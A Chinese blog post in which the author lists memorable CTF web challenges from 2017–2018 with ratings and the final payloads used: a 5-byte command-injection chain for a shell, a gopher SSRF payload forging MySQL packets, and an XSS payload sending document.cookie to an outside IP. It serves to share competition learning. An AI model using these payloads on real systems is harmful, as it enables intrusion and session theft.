长草博客
因为在暑期实习之前面试了很多公司,某面试官问过我一个问题:你觉得你做过最好的一道ctf题目是什么?
时隔将近一年,突然打算列出自己觉得比较好(新颖)的题(线上)(非题解),仅写出能回忆到的 ,2017年11月开始(再往前的就不列了):
hitcon 2017
BabyFirst Revenge
5字节命令执行
最终payload:
>\\ >c\\ ls>>\ rm c* >u\\ ls>>\ rm u* >r\\ ls>>\ rm r* >l\ \ ls>>\ rm l* >12\\ ls>>\ rm 1* >3.\\ ls>>\ rm 3* >20\\ ls>>\ rm 2* >6.\\ ls>>\ rm 6* >21\\ ls>>\ rm 2* >6.\\ ls>>\ rm 6* >19\\ ls>>\ rm 1* >8\|\ ls>>\ rm 8* >ba\\ ls>>\ rm b* >sh\\ ls>>\ rm s* sh \\
难点:之前猫哥在小密圈分享过低字节数命令执行的姿势,orange师傅此次分别出了5字节、4字节的题目,难点在于你要想方设法去使用尽可能短的命令经过各种拼接 组合形成最终可getshell的命令。
新颖指数:4星
难度:3星
34c3ctf 2017
extract0r
上传zip文件软连接读取任意文件 读到Web源码和系统信息,然后SSRF攻击mysql
最终paylod:
http://35.198.175.71/?url=gopher://aa@localhost:b@wupco.cn:3306/_%25AD%2500%2500%2501%2585%25A2%25BF%2501%2500%2500%2500%2501%2508%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500m4st3r_ov3rl0rd%2500%2500mysql_native_password%2500e%2503_os%2505Linux%250C_client_name%2508libmysql%2504_pid%25041329%250F_client_version%25065.7.20%2509_platform%2506x86_64%250Cprogram_name%2505mysql%2540%2500%2500%2500%2503select+repeat('a',(ascii(substr(flag,1,1))-40))+from+flag.flag;%2501%2500%2500%2500
难点:自己尝试了无数种姿势来绕过waf达成ssrf(因为curl版本的问题本地没成功,远程反倒成功),攻击mysql这个点比较难想(mysql空口令的报文是可以伪造的)
新颖指数:5星
难度:4星
强网杯 2018
python2
flask引入了pickle用作处理缓存,通过sql注入写出文件到缓存,然后导致pickle反序列化,其实pickle反序列化也不算是新颖了,我记得在去年国赛决赛的时候,我们队伍就出了一个pickle反序列化的题,但是可惜没几个队伍做(规则太坑)。但是这道题我列出来是因为pickle反序列化其实在国内的比赛还算蛮新颖的,反正我参加这么多场第一次见。
新颖指数:3星
难度:2星
0ctf 2018
h4xors.club2
一道xss题目,csp限制很严格。本题正解是:本题一共两个域名,在另一个域名下csrf.php对admin进行操作,把此域设为第一个域的同域,而且两个域之间有交互(postmessage),在第一个域里js解析postmessage传回的信息并输出到页面(存在domxss),于是构造两个iframe,其中一个iframe指向csrf.php那个域,另一个用来劫持两个域的交互信息,修改后发给第一个域,第一个域引发domxss。
但是有趣的是,我使用的是一个非预期解法,而且个人感觉也十分精彩,完全利用第一个域js的gatgets拼凑出一个完整的流程,没有利用第二个域。
最终payload:
</div></div></div></div></div></div></div></div></div></div></div></div> </div></div></div><div class="timer d-flex p mb-3 flex-md-row grow align-items-stretch" id="timer"> <div class="timer__display screen d-flex justify-content-center"> <div class="align-self-center font-weight-fat"><span class="minutes">00</span> <span class="colon">: </span> <span class="seconds">e-2</span></div> </div> </div> <div class="button button--small button--blue js-difficulty d-flex justify-content-center align-items-center button js-start-button grow button--green d-flex justify-content-center align-items-center" id="play-btn" ><i class="icon ion-play"></i></div><script class="js-user"> </script><div id="audiences">location.href=' http://123.206.216.198/cookie.php?msg='+document.cookie</div></body><!—
新颖指数:4星
难度:3星
请不要联系我做黑产,谢谢
建议给博客加个rss
@moxiaoxi wp自带了,有的。。。
@moxiaoxi 啊啊啊啊 http://www.wupco.cn/?feed=rss2